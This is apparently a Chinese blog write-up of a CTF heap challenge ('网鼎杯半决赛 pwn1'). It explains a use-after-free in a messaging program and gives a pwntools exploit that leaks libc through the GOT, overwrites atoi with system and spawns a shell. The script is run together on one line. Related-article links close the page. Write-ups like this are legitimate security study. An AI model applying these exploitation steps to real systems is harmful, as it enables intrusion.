一个短信系统

  • 定义了两个结构体,分别如下,一个是用户信息的结构体,一个是信息结构体
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
00000000
00000000 message         struc ; (sizeof=0x18, align=0x8, mappedto_6)
00000000 title           dq ?                    ; offset
00000008 content         dq ?
00000010 next            dq ?
00000018 message         ends
00000018
00000000 ; ---------------------------------------------------------------------------
00000000
00000000 pwn             struc ; (sizeof=0x128, align=0x8, mappedto_7)
00000000 malloc_name_ptr dq ?
00000008 age             dq ?
00000010 description     db 256 dup(?)
00000110 messagenode     dq ?                    ; offset
00000118 friend_ptr      dq ?
00000120 inuse           dq ?
00000128 pwn             ends
00000128
  • 程序逻辑有一些复杂,但是有几个关键的地方值得注意一下
  • 人物信息结构体中有许多指针,而且排布相对稳定
  • 程序只有两处地方调用了free函数,并且未置空指针,这就导致了UAF的存在
  • 还有strdup函数,第一次见,作用不是很清楚,去查了一下才知道它的作用和malloc后scanf是一样的

  • 程序中有大量的链表指针操作,显得非常复杂,但是不用太过于纠结,在我尝试了一下执行free后,人物信息结构体被free掉了,这就导致了有0x130的空间可以被利用

  • 期间我尝试了利用strdup来进行堆块错位的操作,但是并没有成功,因为p64()函数自动补的0影响了strdup的过程,而唯一比较容易的可控的地方是nameptr,只要覆盖了name指针内容,show后再进行updata,就可以leak程序基址修改程序的got表
  • 这里我free了两块大堆块,导致了我有0x260的空间可以使用,然后我就可以利用刚才的strdup,来进行指针的覆盖
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import *r = process("./pwn")
atoi_libc = 0x36E80 #offset
sys_libc = 0x45390def register(namesize,name):r.sendlineafter("Your choice:","2")r.sendlineafter("Input your name size:",str(namesize))r.sendafter("Input your name:",name)r.sendlineafter("Input your age:","18")r.sendlineafter("Input your description:","1"*0x100)def login(name):r.sendlineafter("Your choice:","1")r.sendafter("Please input your user name:",name)def show():r.sendlineafter("Your choice:","1")def edit(name,age):r.sendlineafter("Your choice:","2")r.sendafter("Input your name:",name)r.sendlineafter("Input your age:","18")r.sendlineafter("Input your description:","1"*0x100)def AddDeleFriend(module,name):r.sendlineafter("Your choice:","3")r.sendafter("Input the friend's name:",name)r.sendlineafter("So..Do u want to add or delete this friend?(a/d)",module)def message(name,content,title):r.sendlineafter("Your choice:","4")r.sendafter("Which user do you want to send a msg to:",name)r.sendlineafter("Input your message title:",title)r.sendlineafter("Input your content:",content)def logout():r.sendlineafter("Your choice:","6")def exp():register(0x80,"111111")register(0x80,"222222")login("111111")AddDeleFriend("a","111111")AddDeleFriend("d","111111")logout()login("222222")AddDeleFriend("a","222222")AddDeleFriend("d","222222")payload = '\x30'*16*15payload += p64(0x602060)message("222222",payload,"title")show()r.recvuntil("Username:")atoi = u64(r.recv(6) +'\x00'*2)print "atoi :%x"%atoisystem=atoi-atoi_libc + sys_libcedit(p64(system),18)r.sendline("/bin/sh")r.interactive()if __name__ == "__main__":exp()

网鼎杯半决赛 pwn1相关推荐

  1. 第三届“网鼎杯”官方资格赛圆满结束,问鼎之战即将开启!

    8月31日,历时近一周的激烈博弈,第三届"网鼎杯"四场官方资格赛圆满结束.接下来,将遴选500支战队.2000名选手晋级半决赛,全球最大规模网络安全竞技现场即将开启! 第三届&qu ...

  2. 网络安全的“奥运会”——第三届“网鼎杯”网络安全大赛即将开幕

    乘风破浪潮头立,为国铸鼎正当时!以"数字未来,共同守护"为主题的2022年第三届"网鼎杯"网络安全大赛如约而至.大赛由公安部指导,"政产学研用&quo ...

  3. CTF-i春秋网鼎杯第一场misc部分writeup

    CTF-i春秋网鼎杯第一场misc部分writeup 最近因为工作原因报名了网鼎杯,被虐了几天后方知自己还是太年轻!分享一下自己的解题经验吧 minified 题目: 一张花屏,png的图片,老方法, ...

  4. 【CTF WriteUp】网鼎杯 青龙组 Misc题解复现(整理,WP非原创)

    (原本还打算四场Crypto全刷的,结果第四场被教做人了,算了整理点别的当补偿了) (另:求白虎组 Misc-boot 的 WP) Misc 虚幻2 图片在RGB信道各有一张图,提出来 R: G: B ...

  5. 【2022 网鼎杯】青龙组 crypto WriteUp

    2022 网鼎杯 青龙组 crypto WriteUp crypto091 crypto405 crypto162 文章目录 crypto091 crypto405 crypto162 crypto0 ...

  6. [网鼎杯 2018]Fakebook

    [网鼎杯 2018]Fakebook 点击添加两条记录之后,任意点进去观察到 http://b996c614-1897-4c97-a331-05d75922d627.node3.buuoj.cn/vi ...

  7. [ CTF ] WriteUp- 2022年第三届“网鼎杯”网络安全大赛(白虎组)

    2022年第三届"网鼎杯"网络安全大赛(白虎组)部分题目附件 文章目录 [Misc]misc620 [Crypto]crypto582 [Crypto]crypto581 [Mis ...

  8. [re]符号执行一把梭:2020网鼎杯青龙组re_signal_wp

    [re]符号执行一把梭:2020网鼎杯青龙组re_signal_wp 这道题是2020网鼎杯青龙组的一道逆向提signal,一道虚拟机逆向题目,题目本身不难,可以直接分析也可以符号执行秒掉. 题目分析 ...

  9. 近段时间参加的CTF竞赛部分题目复现(ISCC2020 、GKCTF、网鼎杯)

    本文目录 前言 ISCC Misc 签到题 耳听为实 千层套路 ISCC Web Php is the best language ISCC成绩查询-2 ISCC成绩查询_3 What can ima ...

最新文章

  1. valgrind 报告 ecpg内存泄露 (三)
  2. ecshop 去除前台模板自动解析CSS/JS/IMG路径
  3. matlab cell类型数组存至txt文件
  4. golang中如何抓取panic让程序正常退出
  5. 阿里云RPA专有云产品文档集合
  6. 如何分辨PoE工业交换机是否标准供电
  7. 文件批量处理器Android,GFileBat 2012(文件批量处理器)V1.1 正式版
  8. Hive一些参数设置
  9. Java操作zip压缩和解压缩文件工具类
  10. Atitit.ati  str  字符串增强api
  11. 微信开发源代码详细分析-微信开发教程6
  12. epson r1900 清零软件_EPSON R2000清零软件 R3000 R1800 R1900 R2880 R3880 4880打印机
  13. CI框架解决jsonp跨域的问题
  14. Word一键生成英文目录(域方法)
  15. iphone禁止自动连接wifi操作方法「苹果教程」
  16. SUSE收购Rancher Labs,云原生时代大幕拉开
  17. 微信小程序跳小程序short-link(#小程序://)
  18. 在Linux系统搭建DNS服务器
  19. 刀剑乱舞极化图片_【刀剑乱舞】极化刀速查攻略
  20. 如何更有效地发现用户痛点?

热门文章

  1. linux动态库注册函数,linux下加载动态库函数
  2. Echarts的常用api
  3. Android蓝牙开发 — 经典蓝牙BLE蓝牙
  4. 计划评审方法和关键路线法【PERT/CPM、统筹方法】
  5. 报错 | SyntaxError: Legacy octal literals are not allowed in strict
  6. [Python]《点燃我,温暖你》李峋同款爱心代码
  7. 揭秘国漫《武动乾坤》制作幕后 动作戏竟然真人演
  8. 前端工程师 后段工程师_工程师如何在会计中生存
  9. unilife-fridge-producetion-show
  10. 洛谷 P1719 最大加权矩形 动态规划